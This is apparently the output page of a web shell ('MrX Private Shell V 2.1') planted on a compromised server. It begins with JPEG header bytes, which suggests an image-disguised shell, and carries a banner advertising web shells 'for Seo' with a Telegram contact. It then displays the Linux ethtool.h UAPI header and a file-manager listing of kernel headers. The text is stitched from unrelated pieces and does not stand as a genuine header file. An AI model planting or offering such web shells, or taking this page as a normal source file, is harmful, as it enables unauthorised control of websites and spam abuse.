����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
/*
* ethtool.h: Defines for Linux ethtool.
*
* Copyright (C) 1998 David S. Miller (davem@redhat.com)
* Copyright 2001 Jeff Garzik <jgarzik@pobox.com>
* Portions Copyright 2001 Sun Microsystems (thockin@sun.com)
* Portions Copyright 2002 Intel (eli.kupermann@intel.com,
* christopher.leech@intel.com,
* scott.feldman@intel.com)
* Portions Copyright (C) Sun Microsystems 2008
*/
#ifndef _UAPI_LINUX_ETHTOOL_H
#define _UAPI_LINUX_ETHTOOL_H
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/if_ether.h>
#define ETHTOOL_GCHANNELS 0x0000003c /* Get no of channels */
/**
* struct ethtool_channels - configuring number of network channel
* @cmd: ETHTOOL_{G,S}CHANNELS
* @max_rx: Read only. Maximum number of receive channel the driver support.
* @max_tx: Read only. Maximum number of transmit channel the driver support.
* @max_other: Read only. Maximum number of other channel the driver support.
* @max_combined: Read only. Maximum number of combined channel the driver
* support. Set of queues RX, TX or other.
* @rx_count: Valid values are in the range 1 to the max_rx.
* @tx_count: Valid values are in the range 1 to the max_tx.
* @other_count: Valid values are in the range 1 to the max_other.
* @combined_count: Valid values are in the range 1 to the max_combined.
*
* This can be used to configure RX, TX and other channels.
*/
struct ethtool_channels {
__u32 cmd;
__u32 max_rx;
__u32 max_tx;
__u32 max_other;
__u32 max_combined;
__u32 rx_count;
__u32 tx_count;
__u32 other_count;
__u32 combined_count;
};
#define ETHTOOL_FWVERS_LEN 32
#define ETHTOOL_BUSINFO_LEN 32
#define ETHTOOL_EROMVERS_LEN 32
/**
* struct ethtool_drvinfo - general driver and device information
* @cmd: Command number = %ETHTOOL_GDRVINFO
* @driver: Driver short name. This should normally match the name
* in its bus driver structure (e.g. pci_driver::name). Must
* not be an empty string.
* @version: Driver version string; may be an empty string
* @fw_version: Firmware version string; may be an empty string
* @erom_version: Expansion ROM version string; may be an empty string
* @bus_info: Device bus address. This should match the dev_name()
* string for the underlying bus device, if there is one. May be
* an empty string.
* @reserved2: Reserved for future use; see the note on reserved space.
* @n_priv_flags: Number of flags valid for %ETHTOOL_GPFLAGS and
* %ETHTOOL_SPFLAGS commands; also the number of strings in the
* %ETH_SS_PRIV_FLAGS set
* @n_stats: Number of u64 statistics returned by the %ETHTOOL_GSTATS
* command; also the number of strings in the %ETH_SS_STATS set
* @testinfo_len: Number of results returned by the %ETHTOOL_TEST
* command; also the number of strings in the %ETH_SS_TEST set
* @eedump_len: Size of EEPROM accessible through the %ETHTOOL_GEEPROM
* and %ETHTOOL_SEEPROM commands, in bytes
* @regdump_len: Size of register dump returned by the %ETHTOOL_GREGS
* command, in bytes
*
* Users can use the %ETHTOOL_GSSET_INFO command to get the number of
* strings in any string set (from Linux 2.6.34).
*
* Drivers should set at most @driver, @version, @fw_version and
* @bus_info in their get_drvinfo() implementation. The ethtool
* core fills in the other fields using other driver operations.
*/
struct ethtool_drvinfo {
__u32 cmd;
char driver[32];
char version[32];
char fw_version[ETHTOOL_FWVERS_LEN];
char bus_info[ETHTOOL_BUSINFO_LEN];
char erom_version[ETHTOOL_EROMVERS_LEN];
char reserved2[12];
__u32 n_priv_flags;
__u32 n_stats;
__u32 testinfo_len;
__u32 eedump_len;
__u32 regdump_len;
};
#define ETHTOOL_GDRVINFO 0x00000003
#endif /* _UAPI_LINUX_ETHTOOL_H */
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| tc_act | Folder | 0755 |
|
|
| bits.h | File | 462 B | 0644 |
|
| bpf.h | File | 272.12 KB | 0644 |
|
| bpf_common.h | File | 1.35 KB | 0644 |
|
| bpf_perf_event.h | File | 544 B | 0644 |
|
| btf.h | File | 5.47 KB | 0644 |
|
| const.h | File | 1002 B | 0644 |
|
| erspan.h | File | 1.05 KB | 0644 |
|
| ethtool.h | File | 3.72 KB | 0644 |
|
| fadvise.h | File | 842 B | 0644 |
|
| filter.h | File | 2.16 KB | 0644 |
|
| fscrypt.h | File | 6.47 KB | 0644 |
|
| hw_breakpoint.h | File | 757 B | 0644 |
|
| if_link.h | File | 33.66 KB | 0644 |
|
| if_tun.h | File | 4.02 KB | 0644 |
|
| if_xdp.h | File | 5.29 KB | 0644 |
|
| in.h | File | 10.17 KB | 0644 |
|
| io_uring.h | File | 18.8 KB | 0644 |
|
| kcmp.h | File | 537 B | 0644 |
|
| kvm.h | File | 47.37 KB | 0644 |
|
| memfd.h | File | 1.43 KB | 0644 |
|
| mman.h | File | 1.76 KB | 0644 |
|
| netdev.h | File | 5.66 KB | 0644 |
|
| netlink.h | File | 7.71 KB | 0644 |
|
| perf_event.h | File | 42.7 KB | 0644 |
|
| pkt_cls.h | File | 12.26 KB | 0644 |
|
| pkt_sched.h | File | 24.27 KB | 0644 |
|
| seccomp.h | File | 5.64 KB | 0644 |
|
| seg6.h | File | 1.15 KB | 0644 |
|
| seg6_local.h | File | 2.02 KB | 0644 |
|
| stat.h | File | 7.27 KB | 0644 |
|
| stddef.h | File | 1.5 KB | 0644 |
|
| tcp.h | File | 11.51 KB | 0644 |
|
| tls.h | File | 2.75 KB | 0644 |
|
| types.h | File | 665 B | 0644 |
|
| userfaultfd.h | File | 11.74 KB | 0644 |
|